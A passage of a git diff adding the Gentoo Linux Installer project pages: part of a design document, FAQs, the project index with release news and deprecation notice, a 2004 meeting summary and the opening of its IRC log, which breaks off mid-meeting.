+<title>Back end (API or framework)</title>
+<body>
+
+<p>
+The meat and potatoes of the installer is a set of object oriented APIs that
+abstract the actual commands run to install the system. The framework is
+somewhat abstracted in that the behavior is dependent on what architecture
+template is being used at the time. The number of discreet steps performed
+largely depends on the requirements and implementation of the architecture
+template (an XML file that is similar in nature to Portage's /etc/make.profile
+information).
+</p>
+
+<p>
+Since the framework is segregated from the client, it may be used for customized
+installation products developed by users. The major classes are as follows:
+</p>
+
+<ul>
+  <li>
+    A controller class that dictates, based on the architecture template (an XML
+    file), what steps to perform and in what order. This is the core of all
+    logic.
+  </li>
+  <li>
+    A installation profile class that maintains all installation information
+    such as partitioning schemes, cflags, use flags, and other such data. This
+    class can serialize itself to XML which can then be placed on an automated
+    deployment server for later use.
+  </li>
+</ul>
+
+<p>
+Other minor classes may be used for intermediary support, but these two solidify
+what is to be considered public to developers of clients.
+</p>
+
+</body>
+</section>
+<section>
+<title>Deployment server</title>
+<body>
+
+<p>
+The third component is probably only of interest to those using the automated
+deployment features of the installer. The deployment server is actually only a
+combination of services and files.
+</p>
+
+<p>
+Installation profiles may be stored on a machine and served up using an rsync
+server. The client (or, specifically, the back end) will fetch all available
+profiles when given the URI of the rsync server. This is the one part of the
+picture.
+</p>
+
+<p>
+The deployment server may also run tftp and dhcp services to facilitate
+netbooting for large scale installations. This usually requires netboot support
+on the client machine, but custom live cds with such support may be made
+available by Gentoo.
+</p>
+
+<p>
+In short, the deployment server isn't a specific daemon or service, but a
+combination of freely available and standard services. The idea is to take
+advantage of services that may be already running on a user's network.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Process</title>
+<section>
+<body>
+
+<p>
+The actual process of which steps to perform in which order and how is primarily
+determined by the architecture templates. For the most part, the architecture
+template will replicate the steps shown in the Gentoo Installation Handbook.
+</p>
+
+<p>
+The special architecture templates such as the previously mentioned SELinux can
+use this same mechinism to alter the standard process. The arch templates will
+override the default behavior from a generic template. This way, each arch does
+not have to specify thing such as syncing the portage tree, emerging system, or
+other such steps that all archs have to do.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Contact</title>
+<section>
+<body>
+
+<p>
+The developers working on the Gentoo Linux Installer congregate in two main
+places. The IRC channel #gentoo-installer (on Freenode) is the main discussion
+forum where many issues are hashed out in realtime. This is usually the
+preferred place for in depth discussion. For more general dicussion we have a
+mailing list devoted to the installer. You can subscribe by sending an email to
+gentoo-installer-subscribe@lists.gentoo.org.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Authors and Contributors</title>
+<section>
+<body>
+
+<p>
+All information in this document has been hashed out over multiple conversations
+from a number of places.
+</p>
+
+<p>
+In #gentoo-installer, blackace, dams, esammer, iggy, karltk, klieber, Method,
+pauldv, port001, Ramereth, Rupart, spyerdous, npmmcullum, and tseng. Others have
+also passed through and helped, but these people are currently idling during the
+drafting of this doc.
+</p>
+
+<p>
+The desktop-research mailing list was where this project was initially pulled
+together as an official Gentoo project wth the current team. Thanks to those
+people as well.
+</p>
+
+<p>
+The #gentoo-server channel has been helpful in hashing out many automated
+deployment issues and recommendations. Thanks to them.
+</p>
+
+<p>
+This document is a cumulative reference and is the work of everyone in the
+Gentoo community.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/releng/installer/faq.txt b/xml/htdocs/proj/en/releng/installer/faq.txt
new file mode 100644
index 00000000..25876f56
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/installer/faq.txt
@@ -0,0 +1,50 @@
+1. I'm installing Gentoo (not using the installer) and I have a problem...
+What does this have to do with the installer? Oh, that's right, nothing. Go to #gentoo or bugs.gentoo.org.
+
+2. Will the installer run from the 2005.0 LiveCD?
+No. At the minimum, the installer requires parted, pyparted, and pythondialog which are not on the official LiveCDs.
+
+3. Is the installer done?
+No, it will be done when it's done.
+
+4. When will the installer be done?
+See 3.
+
+5. Can I use it yet?
+Yes, it is usable but not without a custom LiveCD. There will be an alpha version available very soon along with an experimental X LiveCD.
+
+6. Does/will the installer support architecture X?
+The first release of the installer is only planned to support x86 and amd64. There are plans to support sparc, hppa, and ppc in the future.
+
+7. Why can't I create a ReiserFS filesystem with the installer?
+Because reiserfs == teh suck...and libparted doesn't support it very well.
+
+8. Does/will the installer support LVM/RAID?
+If you are using true hardware RAID, the installer will see the array as a normal drive (because the kernel sees it this way too). As for LVM and fake RAID/md, the installer does not currently support them but it will in the future.
+
+9. Why doesn't the installer do such and such?
+It's an alpha for crying out loud.
+
+10. I like the manual install. Why are you forcing me to use a graphical installer?
+The current install method will always be an option. The installer will be distributed on a true LiveCD that contains xorg, Gnome, fluxbox, mozilla, and other goodies. There will still be a minimal LiveCD that has just enough stuff to boot and install by hand.
+
+11. Gentoo is too hard to install and I feel like whining.
+See 1.
+
+12. Will the gentoo installer configure my such and such hardware for me?
+No. The installer will only do what is covered in the install guide.
+
+13. Where can I find more information about the installer?
+Currently, there is no documentation. You can either read the source or ask in #gentoo-installer. If you ask any questions covered by this FAQ, you will most likely be ignored.
+
+14. What's wrong with the current installation method?
+Absolutely nothing. The goal of the installer is to make installations faster, not easier. The original intention was to make an installer for doing automated deployments. While we still have this in mind, the end user aspect took precedence (mainly because it's prettier).
+
+15. What language is the installer written in?
+COBOL, of course! (it's actually python)
+
+16. Does the installer have localization support?
+Some basic code for localization of the frontends has been written, but it has not been integrated yet.
+
+17. How can I help?
+At the current time, we need testers (an alpha will be available shortly). If you are good with python, take a look at the various TODO lists in the latest CVS snapshot. In the near future, we will also need people to write documentation.
diff --git a/xml/htdocs/proj/en/releng/installer/faq.xml b/xml/htdocs/proj/en/releng/installer/faq.xml
new file mode 100644
index 00000000..ca106643
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/installer/faq.xml
@@ -0,0 +1,441 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/releng/installer/faq.xml,v 1.26 2007/01/05 02:00:38 agaffney Exp $ -->
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/en/releng/installer/faq.xml">
+<title>Gentoo Linux Installer Frequently Asked Questions</title>
+
+<author title="Author">
+  <mail link="agaffney@gentoo.org">Andrew Gaffney</mail>
+</author>
+<author title="Editor">
+  <mail link="blackace@gentoo.org">Blackace</mail>
+</author>
+
+<abstract>
+This FAQ attempts to answer all of the questions (even the stupid ones) that
+people ask over and over.
+</abstract>
+
+<license/>
+
+<version>1.24</version>
+<date>2006-6-09</date>
+
+<chapter>
+<title>Questions</title>
+<section>
+<title>General</title>
+<body>
+
+<ul>
+  <li>
+    <uri link="#livecds"> 
+      Will the installer run from the 2006.1 minimal/universal CD?
+    </uri>
+  </li>
+  <li>
+    <uri link="#done"> 
+      Is the installer done?
+    </uri>
+  </li>
+  <li>
+    <uri link="#archsupport"> 
+      Does/will the installer support architecture X?
+    </uri>
+  </li>
+  <li>
+    <uri link="#raid"> 
+      Does/will the installer support LVM/RAID?
+    </uri>
+  </li>
+  <li>
+    <uri link="#feature"> 
+      Why doesn't the installer do such and such?
+    </uri>
+  </li>
+  <li>
+    <uri link="#force"> 
+      I like the manual install. Why are you forcing me to use a graphical
+      installer?
+    </uri>
+  </li>
+  <li>
+    <uri link="#autoconfigure"> 
+      Will the gentoo installer configure my such and such hardware for me?
+    </uri>
+  </li>
+  <li>
+    <uri link="#info"> 
+      Where can I find more information about the installer?
+    </uri>
+  </li>
+  <li>
+    <uri link="#wrong"> 
+      What's wrong with the current installation method?
+    </uri>
+  </li>
+  <li>
+    <uri link="#language"> 
+      What language is the installer written in?
+    </uri>
+  </li>
+  <li>
+    <uri link="#localization"> 
+      Does the installer have localization support?
+    </uri>
+  </li>
+  <li>
+    <uri link="#assistance"> 
+      How can I help?
+    </uri>
+  </li>
+  <li>
+    <uri link="#root"> 
+      What is the root password on the X LiveCD?
+    </uri>
+  </li>
+  <li>
+    <uri link="#bugs">
+      Where do I file bugs?
+    </uri>
+  </li>
+  <li>
+    <uri link="#newerversion">
+      Can I update the installer on the LiveCD?
+    </uri>
+  </li>
+  <li>
+    <uri link="#foundbug">
+      I found a bug. What should I do?
+    </uri>
+  </li>
+  <li>
+    <uri link="#extrapackagesfail">
+      My install failed on the installing extra packages step. Do I have to
+      start the install over again from the beginning?
+    </uri>
+  </li>
+  <li>
+    <uri link="#howlong">
+      How long will my install take?
+    </uri>
+  </li>
+  <li>
+    <uri link="#voice">
+      How can I get voice in #gentoo-installer?
+    </uri>
+  </li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>General</title>
+
+<section id="livecds">
+<title>
+  Will the installer run from the 2006.1 minimal/universal CD?
+</title>
+<body>
+
+<p>
+No. At the minimum, the installer requires parted, pyparted, and pythondialog
+which are not (and never will be) on anything but the Installer LiveCD.
+</p>
+
+</body>
+</section>
+<section id="done">
+<title>
+  Is the installer done?
+</title>
+<body>
+
+<p>
+	No, it will be done when it's done.  We're only getting started!  There are a
+	lot more architectures to support and a lot of features we plan on adding.
+</p>
+
+</body>
+</section>
+<section id="archsupport">
+<title>
+  Does/will the installer support architecture X?
+</title>
+<body>
+
+<p>
+	The current release of the installer supports x86 and amd64. 	There are plans
+	to support sparc, hppa, and ppc, and other arches in the future.
+</p>
+
+</body>
+</section>
+<section id="raid">
+<title>
+  Does/will the installer support LVM/RAID?
+</title>
+<body>
+
+<p>
+If you are using true hardware RAID, the installer will see the array as a
+normal drive (because the kernel sees it this way too). As for LVM and fake
+RAID/md, the installer does not currently support them, but it will in the
+future. Patches are welcome ;)
+</p>
+
+</body>
+</section>
+<section id="feature">
+<title>
+  Why doesn't the installer do such and such?
+</title>
+<body>
+
+<p>
+The installer is designed for optimal flexibility, but is only in its early
+releases. Our intention is to support everything you can do from the
+commandline in the installer itself. If you have time and are willing to help
+on a feature, see the section titled "How can I help?"
+</p>
+
+</body>
+</section>
+<section id="force">
+<title>
+  I like the manual install. Why are you forcing me to use a graphical
+  installer?
+</title>
+<body>
+
+<p>
+The current install method will always be an option. The installer will be
+distributed on a true LiveCD that contains xorg, Gnome, firefox, and
+other goodies. There will still be a minimal CD that has just enough stuff
+to boot and install by hand. You can still also do a manual install from the X
+LiveCD.
+</p>
+
+</body>
+</section>
+<section id="autoconfigure">
+<title>
+  Will the gentoo installer configure my such and such hardware for me?
+</title>
+<body>
+
+<p>
+No. The installer will only do what is covered in the install guide. The only
+thing that <e>may</e> be configured for you is xorg. When the LiveCD boots into
+X, a xorg.conf is automatically generated. If you choose xorg-x11 (or anything
+that depends on it) as an extra package to install, the /etc/X11/xorg.conf from
+the LiveCD will be automatically copied into your new install.
+</p>
+
+</body>
+</section>
+<section id="info">
+<title>
+  Where can I find more information about the installer?
+</title>
+<body>
+
+<p>
+On the project pages.  Currently, there is no documentation. You can either read
+the source or ask in #gentoo-installer. If you ask any questions covered by this
+FAQ, you will most likely be ignored.
+</p>
+
+</body>
+</section>
+<section id="wrong">
+<title>
+  What's wrong with the current installation method?
+</title>
+<body>
+
+<p>
+Absolutely nothing. The goal of the installer is to make installations faster,
+not easier. The original intention was to make an installer for doing automated
+deployments. While we still have this in mind, the end user aspect took
+precedence (mainly because it's prettier).
+</p>
+
+</body>
+</section>
+<section id="language">
+<title>
+  What language is the installer written in?
+</title>
+<body>
+
+<p>
+COBOL, of course! (it's actually python)
+</p>
+
+</body>
+</section>
+<section id="localization">
+<title>
+  Does the installer have localization support?
+</title>
+<body>
+
+<p>
+Some basic code for localization of the frontends has been written, but it has
+not been integrated yet.
+</p>
+
+</body>
+</section>
+<section id="assistance">
+<title>
+  How can I help?
+</title>
+<body>
+
+<p>
+If you are good with python, take a look at the various TODO lists in the
+latest CVS snapshot. Otherwise, we'll accept good bug reports
+(/tmp/installprofile.xml and /var/log/installer.log.failed included from
+failures).
+</p>
+
+</body>
+</section>
+<section id="root">
+<title>
+  What is the root password on the X LiveCD?
+</title>
+<body>
+
+<p>
+The root password (and the password for the 'gentoo' user) is randomized on
+boot. You can get root from the X environment by opening up a terminal and
+doing 'sudo su -'.
+</p>
+
+</body>
+</section>
+<section id="bugs">
+<title>
+  Where do I file bugs?
+</title>
+<body>
+
+<p>
+It depends on if it's a bug with the installer itself or the LiveCD that it's
+on. If it's an installer bug, file it under Gentoo Linux in the GLI component
+on bugs.gentoo.org. If you had an install failure, include the
+/tmp/installprofile.xml and /var/log/installer.log.failed files from the LiveCD
+(you'll need to grab these before you reboot). If it is a bug with the LiveCD,
+file it under "Gentoo Release Media", choose 2006.1 from the version list, and
+put "X LiveCD" or "installer LiveCD" somewhere in the summary.
+</p>
+
+</body>
+</section>
+<section id="newerversion">
+<title>
+  Can I update the installer on the LiveCD?
+</title>
+<body>
+
+<p>
+There is a script provided that will download the latest CVS snapshot and
+extract it into the current directory. To get the latest version and start the
+GTK frontend, do the following:
+</p>
+<ul>
+  <li>open a terminal</li>
+  <li>/opt/installer/misc/updategtkfe</li>
+</ul>
+<p>To update the dialog frontend, do the following:</p>
+<ul>
+  <li>open a terminal</li>
+  <li>/opt/installer/misc/updateglid</li>
+</ul>
+
+</body>
+</section>
+<section id="foundbug">
+<title>
+  I found a bug. What should I do?
+</title>
+<body>
+
+<p>
+Since we are still in the early releases of the installer, there are bound to be
+bugs (hey, we're not perfect). If you've found a bug, the first thing you
+should do is follow the directions above for grabbing and running the latest CVS
+snapshot. If you can reproduce the bug there, you should go to
+<uri link="http://bugs.gentoo.org">bugzilla</uri> and do a search for the
+problem that you're running into. If there isn't an existing bug (open or
+closed), you can file a new bug under in the "Gentoo Linux" section in the GLI
+component. Be sure to save /tmp/installprofile.xml and
+/var/log/installer.log.failed from the livecd after your installer run. These
+files are essential for us to be able to debug the problem properly. Keep in
+mind that an error compiling a package is <e>not</e> an installer bug.
+</p>
+</body>
+</section>
+<section id="extrapackagesfail">
+<title>
+  My install failed on the installing extra packages step. Do I have to start
+  the install over again from the beginning?
+</title>
+<body>
+
+<p>
+No. At this point, your install will be bootable and most steps will be
+complete. The only things that will not have happened are emerging the rest of
+the packages in the list after the one that failed and adding your selected
+services to the default runlevel. These can both be done after you boot into
+your install for the first time.
+</p>
+
+</body>
+</section>
+<section id="howlong">
+<title>
+  How long will my install take?
+</title>
+<body>
+
+<p>
+There is no definitive answer to this question. It depends on many factors such
+as the stage you started at, the extra packages you selected, internet
+connection speed, whether you selected GRP or not, speed of your processor, the
+amount of memory, the speed of your disk, etc. We have seen installs as fast as
+8 minutes, but that was on a very fast machine doing a very minimal install. On
+a slower machine with lots of extra packages installed, it could take literally
+days to complete.
+</p>
+
+</body>
+</section>
+<section id="voice">
+<title>
+  How can I get voice in #gentoo-installer?
+</title>
+<body>
+
+<p>
+Asking a question covered in this FAQ will probably get you kicked from the
+channel. Abusive behavior will get you kicked and possibly banned from the
+channel. Any general install questions should be taken to #gentoo. We do not
+care that you think the installer is stupid, will ruin Gentoo, etc. Once you
+have read through this FAQ, just join the channel and '/msg gibot voiceme' to
+get voice. Please do not get voice just to have voice.
+</p>
+
+</body>
+</section>
+
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/releng/installer/gli_uml.png b/xml/htdocs/proj/en/releng/installer/gli_uml.png
new file mode 100644
index 00000000..7ffd8d81
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/installer/gli_uml.png
diff --git a/xml/htdocs/proj/en/releng/installer/gli_use_case.png b/xml/htdocs/proj/en/releng/installer/gli_use_case.png
new file mode 100644
index 00000000..fe84f55b
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/installer/gli_use_case.png
diff --git a/xml/htdocs/proj/en/releng/installer/index.xml b/xml/htdocs/proj/en/releng/installer/index.xml
new file mode 100644
index 00000000..d5ff4b93
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/installer/index.xml
@@ -0,0 +1,268 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/releng/installer/index.xml,v 1.37 2010/07/20 07:49:36 nightmorph Exp $ -->
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<project>
+<name>Installer</name>
+<longname>Gentoo Linux Installer</longname>
+
+<date>2010-05-18</date>
+
+<author title="Author">
+  <mail link="codeman"/>
+</author>
+<author title="Editor">
+  <mail link="blackace"/>
+</author>
+<author title="Editor">
+  <mail link="wolf31o2"/>
+</author>
+
+<description>
+The deprecated Gentoo Installer project aimed to create a widely extensible
+install engine that allowed for a diverse set of attended and unattended install
+options. It was abandoned in 2009, but these pages have been retained for
+future reference.
+</description>
+
+<longdescription>
+<p>
+The <b>deprecated</b> Gentoo Installer project aimed to create an widely
+extensible install engine that allowed for a diverse set of attended and
+unattended install options. All functionality existed in the backend, exposed
+through a stable API. Planned front ends included text, gtk2, fully automated,
+and web-based interfaces. The project was <b>abandoned in 2009</b> when the
+Gentoo Release Engineering team profoundly changed the way releases are done,
+automating and simplifying the process in many ways, making distinct livecd
+releases obsolete.
+</p>
+</longdescription>
+
+<dev role="lead" description="Project lead">codeman</dev>
+<dev role="member" description="Co-conspirator">agaffney</dev>
+<dev role="member">blackace</dev>
+<dev role="member">dberkholz</dev>
+<dev role="member">klieber</dev>
+
+<extrachapter position="top">
+<title>News</title>
+<section>
+<title>2009-01-13: GLI Officially Deprecated</title>
+<body>
+<p>
+A few months ago the Gentoo Release Engineering team changed the way that
+releases are done to simplify, automate, and provide more current release media
+on a more regular basis.  One of the consequences of this is that the
+livecds are no longer being released.  This leaves the installer with no place
+or function.  The installer developers have all moved on to other 
+projects, leaving GLI in an unmaintained state.  We can no longer offer support
+for the 2008.0-r1 LiveCDs for x86 and amd64, though we expect it to work for 
+those that use it.  During this project's five year existence, it has been both
+a pride for Gentoo and a source of controversy.  The Gentoo Handbook is still 
+the official installation method for Gentoo.  For those still seeking 
+to do automated gentoo installs, please see the 
+<uri link="http://agaffney.org/quickstart.php">Quickstart</uri> 
+project.
+</p>
+</body>
+</section>
+<section>
+<title>2008-07-07: GLI 0.6.6 released</title>
+<body>
+<p>
+The Gentoo Linux Installer team has released version 0.6.6 of the installer
+on the 2008.0-r1 LiveCDs for x86 and amd64.  The improvements in this release
+are intended to improve the stability and simplicity of the installation
+(yes, we know, at the expense of customizability).  For more details,
+please see the <uri link="release-0.6.txt">full release announcement</uri>.
+You can get the latest LiveCD from your local <uri
+link="/main/en/where.xml">mirror</uri> or <uri
+link="http://torrents.gentoo.org">bittorrent</uri>.
+</p>
+</body>
+</section>
+<section>
+<title>2007-05-07: GLI 0.5 released</title>
+<body>
+<p><b>Update: We are aware of networkless issues on the amd64 livecd. A -r1
+release is in the works to fix this issue.  Please avoid trying networkless
+installations using the amd64 livecd for the time being.</b></p>
+<p>
+Along with the release of Gentoo Linux 2007.0, the Gentoo Linux Installer 
+team is accouncing version 0.5[.4] of GLI. 
+This release marks the first step in a larger overhaul of how the installer
+works.  Whereas before it was automated, it is now interactive and does the
+installation as you progress through the frontends.  For automated installations,
+see the quickstart project mentioned in the release announcement.
+You can get the latest LiveCD from your local <uri
+link="/main/en/where.xml">mirror</uri> or <uri
+link="http://torrents.gentoo.org">bittorrent</uri>.
+</p>
+
+<p>
+For more information see the <uri link="release-0.5.txt">full release
+announcement</uri>.
+</p>
+
+</body>
+</section>
+<section>
+<title>2006-08-30: GLI 0.4 released</title>
+<body>
+<p>
+The Gentoo Linux Installer team would like to announce version 0.4 of the
+installer, which coincides with the 2006.1 release. New in this release is
+improved partitioning support and a networkless install mode, as well as a
+stable amd64 LiveCD. You can get the latest LiveCD from your local <uri
+link="/main/en/where.xml">mirror</uri> or <uri
+link="http://torrents.gentoo.org">bittorrent</uri>.
+</p>
+
+<p>
+For more information see the <uri link="release-0.4.txt">full release
+announcement</uri>.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>2006-02-28: GLI 0.3 released</title>
+<body>
+
+<p>
+The Gentoo Linux Installer team would like to announce version 0.3 of the
+installer. This release incorporates numerous changes and improvements, and for
+the first time will be an official part of the <uri
+link="/proj/en/releng/release/2006.0/2006.0.xml">2006.0</uri> Gentoo release.
+</p>
+
+<p>
+For more information see the <uri link="release-0.3.xml">full release
+announcement</uri>.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>2005-11-21: GLI 0.2 released</title>
+<body>
+
+<p>
+The installer team is proud to announce the release of version 0.2 of the
+Gentoo Linux Installer. There have been many improvements over the 0.1
+("alpha") release, including many new features and many annoying bugs squished.
+</p>
+
+<p>
+As always, you can get the LiveCD from the <uri
+link="/main/en/mirrors.xml">mirrors</uri> under <path>/experimental</path>.
+</p>
+
+<p>
+For more information see the <uri link="release-0.2.xml">full release
+announcement</uri>.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>2005-08-08: GLI 0.1 (a.k.a. "the alpha") released</title>
+<body>
+
+<p>
+We are happy to announce GLI 0.1 (a.k.a. "the alpha") along with a <e>real</e>
+LiveCD (usable X environment with goodies) as opposed to the normal minimal or
+universal "LiveCD". It is currently available from the <uri
+link="/main/en/mirrors.xml">mirrors</uri> under <path>/experimental</path>.
+</p>
+
+<p>
+For more information see the <uri link="release-0.1.xml">full release
+announcement</uri>.
+</p>
+
+</body>
+</section>
+
+</extrachapter>
+
+<extrachapter position="bottom">
+<title>Further reading</title>
+
+<section>
+<body>
+
+<ul>
+<li><uri link="gli_uml.png">UML class diagram</uri></li>
+<li><uri link="gli_use_case.png">Use case</uri></li>
+<li><uri link="codemap.png">Code map</uri></li>
+<li><uri link="design.xml">Initial design specifications</uri></li>
+<li><uri link="roadmap.xml">Current roadmap</uri></li>
+<li><uri link="faq.xml">Frequently Asked Questions</uri></li>
+<li><uri link="screenshots/index.xml">Screenshots</uri></li>
+<li><uri link="http://dev.gentoo.org/~agaffney/gli/snapshots/">CVS snapshots</uri></li>
+</ul>
+
+</body>
+</section>
+
+</extrachapter>
+
+<extrachapter position="bottom">
+<title>How to find us</title>
+
+<section>
+<body>
+
+<p>
+In the usual spirt of Gentoo, our development is very open and we invite you
+to watch/idle/lurk or even participate. You can join our mailing list by
+sending an email to gentoo-installer+subscribe@gentoo.org, or find us on
+irc.freenode.net at #gentoo-installer.
+</p>
+
+</body>
+</section>
+
+</extrachapter>
+
+<extrachapter position="bottom">
+<title>Meeting logs and summaries</title>
+
+<section>
+<body>
+
+<p>
+Summaries of each meeting called will be available here, along with raw logs
+for public viewing.
+</p>
+
+<table>
+<tr>
+<th>05 Feb 2004</th>
+<ti><uri link="/proj/en/releng/installer/meetings/2004/20040205.xml">Summary</uri></ti>
+<ti><uri link="/proj/en/releng/installer/meetings/2004/20040205_log.txt">Log</uri></ti>
+</tr>
+<tr>
+<th>15 Jul 2004</th>
+<ti><uri link="/proj/en/releng/installer/meetings/2004/20040715.xml">Summary</uri></ti>
+<ti><uri link="/proj/en/releng/installer/meetings/2004/20040715_log.txt">Log</uri></ti>
+</tr>
+<tr>
+<th>12 Sep 2004</th>
+<ti><uri link="/proj/en/releng/installer/meetings/2004/20040912.xml">Summary</uri></ti>
+<ti><uri link="/proj/en/releng/installer/meetings/2004/20040912_log.txt">Log</uri></ti>
+</tr>
+</table>
+
+</body>
+</section>
+
+</extrachapter>
+
+</project>
diff --git a/xml/htdocs/proj/en/releng/installer/meetings/2004/20040205.xml b/xml/htdocs/proj/en/releng/installer/meetings/2004/20040205.xml
new file mode 100644
index 00000000..7a1b1d51
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/installer/meetings/2004/20040205.xml
@@ -0,0 +1,158 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/releng/installer/meetings/2004/20040205.xml,v 1.1 2004/02/10 19:26:35 tseng Exp $ -->
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/en/releng/installer/meetings/2004/20040205.xml">
+<title>Gentoo Linux Installer Meeting Summary</title>
+<subtitle>05 Feb 2004</subtitle>
+
+<author title="Author">
+  <mail link="wolfwood@users.sourceforge.net">Nicholas D. Wolfwood</mail>
+</author>
+
+<license/>
+
+<abstract>
+The meeting began at 1900 UTC, and the meeting chair was tseng (Brandon Hale).
+The primary speaker was esammer (Eric Sammer).
+(<uri link="/proj/en/releng/installer/meetings/2004/20040205_log.txt">raw
+log</uri>)
+</abstract>
+
+<version/>
+<date>05 Feb 2004</date>
+
+<chapter>
+<title>General Summary</title>
+<section>
+<title>Project Organization</title>
+<body>
+
+<p>
+esammer explained the overall design structure for the project, then covered the
+reasons for an initial lack of publicity.  He then set a loose goal of 2-4 weeks
+for a prototype.  Tasks were then tentatively assigned to various individuals.
+</p>
+
+</body>
+</section>
+<section>
+<title>Releng Coordination</title>
+<body>
+
+<p>
+tigger^ brought up a question of resources available on the release LiveCDs,
+iggy noted that python-2.2 is available on the release LiveCDs, and npmccallum
+noted that additional python modules will likely be needed.  esammer points out
+that coordination with the releng team will be needed to facilitate additions to
+the release LiveCDs.
+</p>
+
+</body>
+</section>
+<section>
+<title>Assignments</title>
+<body>
+
+<p>
+It was decided that for the protoyping phase karltk, npmccallum, and esammer
+will be responsible for code, tseng and spyderous will be responsible for the
+project pages, blackace will be responsible for documentation, all individuals
+present will act as advisors, and the entire community will be involved in
+design with karltk and esammer coordinating.
+</p>
+
+</body>
+</section>
+<section>
+<title>Releases</title>
+<body>
+
+<p>
+It was generally agreed to follow an XP style release system in which cycles
+consist of coding, testing, then releasing.  Cycles occur every X period of
+time, depending on how quickly code develops, and unstable snapshots are
+released at the end of each cycle in addition to semi-stable milestone
+snapshots.
+</p>
+
+</body>
+</section>
+<section>
+<title>Project Resources</title>
+<body>
+
+<p>
+esammer asked if any resources would be required in addition to the already
+available resources (CVS, project page, mailing list, IRC channel).  karltk
+pointed out the need for a bug repository, klieber arranged for a bugzilla
+module named "GLI" and a "gli-bugs" mail alias.  pauldv pointed out the need for
+a subproject link from the releng project page.
+</p>
+
+</body>
+</section>
+<section>
+<title>Meetings/Status Reports</title>
+<body>
+
+<p>
+It was decided to call meetings as needed, with coders regularly calling
+impromptu meetings during the prototype phase.  It was tentatively decided that
+status reports should be made weekly via the mailing list.
+</p>
+
+</body>
+</section>
+<section>
+<title>Getting Involved</title>
+<body>
+
+<p>
+esammer notes that those wanting to get involved in the project should subscribe
+to the mailing list (gentoo-installer@lists.gentoo.org) and idle in
+#gentoo-installer on FreeNode.  pauldv pointed out that recruiting too many
+people could slow down development during the prototype phase, esammer agreed
+and invited everyone to read the design documents and provide constructive
+comments rather than add coders at this time.
+</p>
+
+</body>
+</section>
+<section>
+<title>Snapshot Distribution</title>
+<body>
+
+<p>
+klieber brought up the topic of how snapshot tarballs should be distributed, it
+was then decided to place snapshot tarballs in <path>/experimental</path>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Open Floor</title>
+<section>
+<body>
+
+<p>
+The floor was opened to general question and answer at 2010 UTC.  There was
+discussion of the role of XML in the design, localization in the frontends,
+the nature of the project's relationship with GLIS and other installer projects,
+the possible extension of the installer into a post-install reconfiguration
+engine, and many helpful pointers to the design documents found under "Further
+reading" on the <uri link="/proj/en/releng/installer/index.xml">project
+page</uri>.
+</p>
+
+<p>
+The meeting was adjourned at 2051 UTC
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/releng/installer/meetings/2004/20040205_log.txt b/xml/htdocs/proj/en/releng/installer/meetings/2004/20040205_log.txt
new file mode 100644
index 00000000..c91f4345
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/installer/meetings/2004/20040205_log.txt
@@ -0,0 +1,509 @@
+Feb 05 19:00:21 <tseng>	sure, here we go.
+Feb 05 19:00:27 <danarmak>	10... 9....\
+Feb 05 19:00:35 <tseng>	ill ask that everyone be respectful to the current speaker, im sure this wont be a problem
+Feb 05 19:00:36 <johnm>	carpaski: hehe, I actually have an time-source locally synced to some 20 other nodes.
+Feb 05 19:00:42 <enriQUE_>	hello guys, hope its ok to lurk around here :)
+Feb 05 19:00:51 *	port001 is away: gym
+Feb 05 19:00:55 <tseng>	offtopic questions or anyone looking to join up, please hang on until after the meeting
+Feb 05 19:01:21 <tseng>	hopefully youve all read the project page, if not, youll probably have no idea what we are talking about :)
+Feb 05 19:02:04 <tseng>	the basic premise at this point is an extremely flexible backend library for building any number of installers
+Feb 05 19:02:07 -->	kn0rki (~kn0rki@pD953677D.dip.t-dialin.net) has joined #gentoo-installer
+Feb 05 19:02:42 <tseng>	a large ammount of the organization and planning is thanks to esammer, and it like to give him the floor for his first topic, thanks everyone for coming :)
+Feb 05 19:02:53 <tseng>	s/it/id
+Feb 05 19:03:22 <esammer>	hello all. i'm going to discuss the items in the email i sent to both -installer and -dev
+Feb 05 19:03:44 <esammer>	the first of which is our overall design status
+Feb 05 19:04:15 <esammer>	a number of documents including a rough design doc, a uml use case, and a very incomplete class diagram have been done
+Feb 05 19:04:28 <esammer>	they are all available from the project page
+Feb 05 19:05:02 <esammer>	there's little i can say about them that they dont' say for themselves. a little incomplete, but a basis for going forward.
+Feb 05 19:05:33 <esammer>	those who are interested should read and comment on them either here or on the -installer list
+Feb 05 19:05:56 <tseng>	(after the meeting)
+Feb 05 19:06:00 <esammer>	in terms of design, we have a "back end" which is really just a set of APIs (in python) that cover most of the functionality
+Feb 05 19:06:23 <esammer>	this supports the control logic depending on each arch and what we call arch templates
